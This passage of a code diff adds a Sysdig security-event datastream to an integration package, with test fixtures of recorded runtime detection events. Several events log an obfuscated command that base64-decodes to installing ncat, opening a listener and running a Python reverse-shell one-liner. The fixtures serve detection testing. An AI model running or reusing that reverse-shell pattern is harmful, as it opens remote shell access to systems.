IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "proc.pid": "4094247", + "proc.pid.ts": "1744772461104588229", + "proc.pname": "bash", + "proc.ppid": "4093769", + "proc.ppid.ts": "1744772400850031947", + "proc.sid": "1", + "user.loginname": "", + "user.loginuid": "-1", + "user.name": "root", + "user.uid": "0" + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=4094247 proc.cwd=/ proc.ppid=4093769 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744772461104588229 proc.ppid.ts=1744772400850031947 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policyId": 10569534, + "ruleName": "My test rule custom", + "ruleSubType": 0, + "ruleTags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "ruleType": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a36a012345678998765432108f1e03e", + "labels": { + "cloudProvider.account.id": "012345678912", + "cloudProvider.name": "gcp", + "cloudProvider.region": "us-central1", + "container.image.digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "container.image.id": "ef0f72a55bd2", + "container.image.repo": "docker.io/library/python", + "container.image.tag": "3.9.18-slim", + "container.label.io.kubernetes.container.name": "shell-scripting", + "container.label.io.kubernetes.pod.name": "shell-scripting-29079540-cqf5n", + "container.label.io.kubernetes.pod.namespace": "default", + "container.name": "shell-scripting", + "gcp.location": "us-central1", + "gcp.projectId": "012345678912", + "host.hostName": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd", + "host.mac": "01:00:5e:90:10:00", + "kubernetes.cluster.name": "gke-alliances-demo-6", + "kubernetes.cronJob.name": "shell-scripting", + "kubernetes.job.name": "shell-scripting-29079540", + "kubernetes.namespace.name": "default", + "kubernetes.node.name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd", + "kubernetes.pod.name": "shell-scripting-12345678-abcde", + "kubernetes.workload.name": "shell-scripting", + "kubernetes.workload.type": "cronjob" + }, + "name": "Manuel test policy", + "originator": "policy", + "rawEventCategory": "runtime", + "rawEventOriginator": "linuxAgent", + "severity": 4, + "source": "syscall", + "sourceDetails": { + "subType": "container", + "type": "workload" + }, + "timestamp": 1744772461195149800 + } + ], + "page": { + "total": 5 + } + } + `}} diff --git a/packages/sysdig/changelog.yml b/packages/sysdig/changelog.yml index 9d3c959f04c..cd71b9d607f 100644 --- a/packages/sysdig/changelog.yml +++ b/packages/sysdig/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.4.0" + changes: + - description: Add support for security event datastream. + type: enhancement + link: https://github.com/elastic/integrations/pull/1 - version: "0.3.0" changes: - description: Update Kibana constraint to support 9.0.0. diff --git a/packages/sysdig/data_stream/event/_dev/test/pipeline/test-common-config.yml b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-common-config.yml new file mode 100644 index 00000000000..37e8fa225fd --- /dev/null +++ b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-common-config.yml @@ -0,0 +1,3 @@ +fields: + tags: + - preserve_duplicate_custom_fields diff --git a/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log new file mode 100644 index 00000000000..f7c308133e9 --- /dev/null +++ b/packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log @@ -0,0 +1,6 @@ +{"category":"runtime","content":{"fields":{"container.image.repository":"docker.io/library/python","container.name":"shell-scripting","evt.res":"SUCCESS","evt.type":"execve","group.gid":"0","group.name":"root","proc.args":"","proc.cmdline":"sh","proc.cwd":"/","proc.exepath":"/usr/bin/dash","proc.hash.sha256":"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6","proc.name":"sh","proc.pcmdline":"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh","proc.pid":"1890726","proc.pid.ts":"1744002001003626585","proc.pname":"bash","proc.ppid":"1890704","proc.ppid.ts":"1744002000895807711","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Secure UI","output":"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1890726 proc.cwd=/ proc.ppid=1890704 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744002001003626585 proc.ppid.ts=1744002000895807711 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)","policyId":10569534,"ruleName":"My test rule custom","ruleSubType":0,"ruleTags":["My-tag-custom-1-hello-world","MITTRE-WHATEVER"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This is just a dumb policy to test custom policies","engine":"falco","id":"1a33f0946dabcdefabcdefad5c3e7f22","labels":{"cloudProvider.account.id":"123456789012","cloudProvider.name":"gcp","cloudProvider.region":"us-central1","container.image.digest":"sha256:aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a","container.image.id":"ef0abcdefbd2","container.image.repo":"docker.io/library/python","container.image.tag":"3.9.18-slim","container.label.io.kubernetes.container.name":"shell-scripting","container.label.io.kubernetes.pod.name":"shell-scripting-abcdef12-12345","container.label.io.kubernetes.pod.namespace":"default","container.name":"shell-scripting","gcp.location":"us-central1","gcp.projectId":"1231456789012","host.hostName":"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd","host.mac":"01:00:5e:90:10:00","kubernetes.cluster.name":"gke-alliances-demo-6","kubernetes.cronJob.name":"shell-scripting","kubernetes.job.name":"shell-scripting-29066700","kubernetes.namespace.name":"default","kubernetes.node.name":"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd","kubernetes.pod.name":"shell-scripting-abcdef12-12345","kubernetes.workload.name":"shell-scripting","kubernetes.workload.type":"cronjob"},"name":"Manuel test policy","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":4,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1744772461195149800} +{"actions":[{"afterEventNs":30000000000,"beforeEventNs":15000000000,"isSuccessful":true,"token":"0d0eefe8-a14b-1234-5678-abcdef7c4ce4","type":"capture"}],"category":"runtime","content":{"fields":{"container.id":"d2abcdefa588","container.image.repository":"docker.io/alpine/k8s","container.name":"test-aqua-enforcer","evt.arg.path":"","evt.type":"open","fd.name":"/var/log/enforcer_testjob.log","group.gid":"0","group.name":"root","proc.cmdline":"bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;","proc.cwd":"/apps/","proc.exepath":"/bin/bash","proc.name":"bash","proc.pcmdline":"bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;","proc.pid":"146490","proc.pname":"bash","proc.ppid":"136656","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Sysdig","output":"Log files tampered by bash with parent bash on test-aqua-enforcer under user root (evt.type=open fd.name=/var/log/enforcer_testjob.log evt.arg.path= evt.arg.name=/var/log/enforcer_testjob.log proc.exepath=/bin/bash proc.name=bash proc.pname=bash gparent=containerd-shim ggparent=systemd gggparent= image=docker.io/alpine/k8s user.name=root user.loginuid=-1 proc.cmdline=bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; container.id=d2c32629a588 proc.pid=146490 proc.cwd=/apps/ proc.ppid=136656 proc.pcmdline=bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; proc.sid=1 user.uid=0 user.loginname= group.gid=0 group.name=root container.name=test-aqua-enforcer)","policyId":10011701,"ruleName":"Clear Log Activities","ruleSubType":0,"ruleTags":["host","container","file","FIM","SOC2","SOC2_CC6.7","PCI","PCI_DSS","PCI_DSS_10.5.5","NIST","NIST_800-171","NIST_800-171_3.14.6","NIST_800-171_3.3.1","NIST_800-171_3.3.2","NIST_800-171_3.4.5","NIST_800-53","NIST_800-53_AU-6(8)","NIST_800-53_CM-5","NIST_800-53_AU-2","NIST_800-53_AU-10","FedRAMP","FedRAMP_AU-10","FedRAMP_AU-2","ISO","ISO_27001","ISO_27001_A.18.1.3","HIPAA","HIPAA_164.308(a)","HIPAA_164.312(b)","HITRUST","HITRUST_CSF","HITRUST_CSF_01.p","HITRUST_CSF_01.s","HITRUST_CSF_06.i","HITRUST_CSF_09.aa","HITRUST_CSF_09.ab","HITRUST_CSF_09.ad","HITRUST_CSF_09.ae","HITRUST_CSF_09.b","HITRUST_CSF_09.x","HITRUST_CSF_09.y","HITRUST_CSF_10.d","HITRUST_CSF_10.j","HITRUST_CSF_10.k","MITRE","MITRE_TA0005_defense_evasion","MITRE_TA0040_impact","MITRE_T1070_indicator_removal_on_host","MITRE_T1485_data_destruction","MITRE_T1070.002_indicator_removal_clear_linux_or_mac_system_logs","MITRE_T1070.003_indicator_removal_clear_command_history","MITRE_T1070.004_indicator_removal_file_deletion","oss"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.","engine":"falco","id":"183abcdefabcdef123456ffcccf0a338","labels":{"aws.accountId":"012345678912","aws.region":"us-west-2","cloudProvider.account.id":"012345678912","cloudProvider.name":"aws","cloudProvider.region":"us-west-2","container.image.digest":"sha256:b6980881cf440a3ae78dfa9c021aaa9bb66fc3c27b7120cfa2b2fa1c35ceaa20","container.image.id":"4b0aebaeaf91","container.image.repo":"docker.io/alpine/k8s","container.image.tag":"1.26.2","container.label.io.kubernetes.container.name":"test-aqua-enforcer","container.label.io.kubernetes.pod.name":"aqua-enforcer-tester-12345678-abcde","container.label.io.kubernetes.pod.namespace":"aqua","container.name":"test-aqua-enforcer","host.hostName":"ip-192-168-183-59.us-west-2.compute.internal","host.mac":"01:00:5e:90:10:01","kubernetes.cluster.name":"myclusterName","kubernetes.cronJob.name":"aqua-enforcer-tester","kubernetes.job.name":"aqua-enforcer-tester-29077920","kubernetes.namespace.name":"aqua","kubernetes.node.name":"i-00123456789012344","kubernetes.pod.name":"aqua-enforcer-tester-12345678-abcde","kubernetes.workload.name":"aqua-enforcer-tester","kubernetes.workload.type":"cronjob"},"name":"Sysdig Runtime Notable Events","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":5,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1744675845328594200} +{"category":"runtime","content":{"fields":{"container.image.repository":"docker.io/library/python","container.name":"shell-scripting","evt.res":"SUCCESS","evt.type":"execve","group.gid":"0","group.name":"root","proc.args":"","proc.cmdline":"sh","proc.cwd":"/","proc.exepath":"/usr/bin/dash","proc.hash.sha256":"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6","proc.name":"sh","proc.pcmdline":"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh","proc.pid":"1372469","proc.pid.ts":"1743822001115100312","proc.pname":"bash","proc.ppid":"1372453","proc.ppid.ts":"1743822000952432134","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Secure UI","output":"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)","policyId":10569534,"ruleName":"My test rule custom","ruleSubType":0,"ruleTags":["My-tag-custom-1-hello-world","MITTRE-WHATEVER"],"ruleType":6,"type":"workloadRuntimeDetection"},"description":"This is just a dumb policy to test custom policies","engine":"falco","id":"1a334cdef0060123456789abcdef64a9","labels":{"cloudProvider.account.id":"012345678912","cloudProvider.name":"gcp","cloudProvider.region":"us-central1","container.image.digest":"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a","container.image.id":"ef0f72a55bd2","container.image.repo":"docker.io/library/python","container.image.tag":"3.9.18-slim","container.label.io.kubernetes.container.name":"shell-scripting","container.label.io.kubernetes.pod.name":"shell-scripting-29063700-123ab","container.label.io.kubernetes.pod.namespace":"default","container.name":"shell-scripting","gcp.location":"us-central1","gcp.projectId":"012345678912","host.hostName":"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd","host.mac":"01:00:5e:90:10:00","kubernetes.cluster.name":"gke-alliances-demo-6","kubernetes.cronJob.name":"shell-scripting","kubernetes.job.name":"shell-scripting-29063700","kubernetes.namespace.name":"default","kubernetes.node.name":"gke-cluster-gcp-demo-san-default-pool-12345678-abcd","kubernetes.pod.name":"shell-scripting-12345678-123ab","kubernetes.workload.name":"shell-scripting","kubernetes.workload.type":"cronjob"},"name":"Manuel test policy","originator":"policy","rawEventCategory":"runtime","rawEventOriginator":"linuxAgent","severity":4,"source":"syscall","sourceDetails":{"subType":"container","type":"workload"},"timestamp":1743822001115928600} +{"actions":[{"afterEventNs":30000000000,"beforeEventNs":15000000000,"errMsg":"maximum number of outstanding captures (1) reached","isSuccessful":false,"token":"7d30b372-3dd9-1234-5678-403612345678","type":"capture"}],"category":"runtime","content":{"fields":{"container.id":"382abcdefd0a","container.image.repository":"gcr.io/cadvisor/cadvisor","container.image.tag":"v0.45.0","container.mounts":"/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private","container.name":"cadvisor","evt.res":"SUCCESS","evt.type":"execve","group.gid":"0","group.name":"root","proc.cmdline":"cadvisor -logtostderr --enable_metrics=cpu,diskIO,memory,network,oom_event --docker_only","proc.cwd":"/","proc.exepath":"/usr/bin/cadvisor","proc.name":"cadvisor","proc.pcmdline":"runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a","proc.pid":"741051","proc.pname":"runc","proc.ppid":"741043","proc.sid":"1","user.loginname":"","user.loginuid":"-1","user.name":"root","user.uid":"0"},"origin":"Sysdig","output":"Container cadvisor having image gcr.io/cadvisor/cadvisor with sensitive mount started by user root and parent runc (proc.name=cadvisor image=gcr.io/cadvisor/cadvisor:v0.45.0 proc.exepath=/usr/bin/cadvisor proc.pname=runc gparent=containerd-shim ggparent=systemd gggparent= mounts=/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private evt.type=execve evt.res=SUCCESS proc.pid=741051 proc.cwd=/ 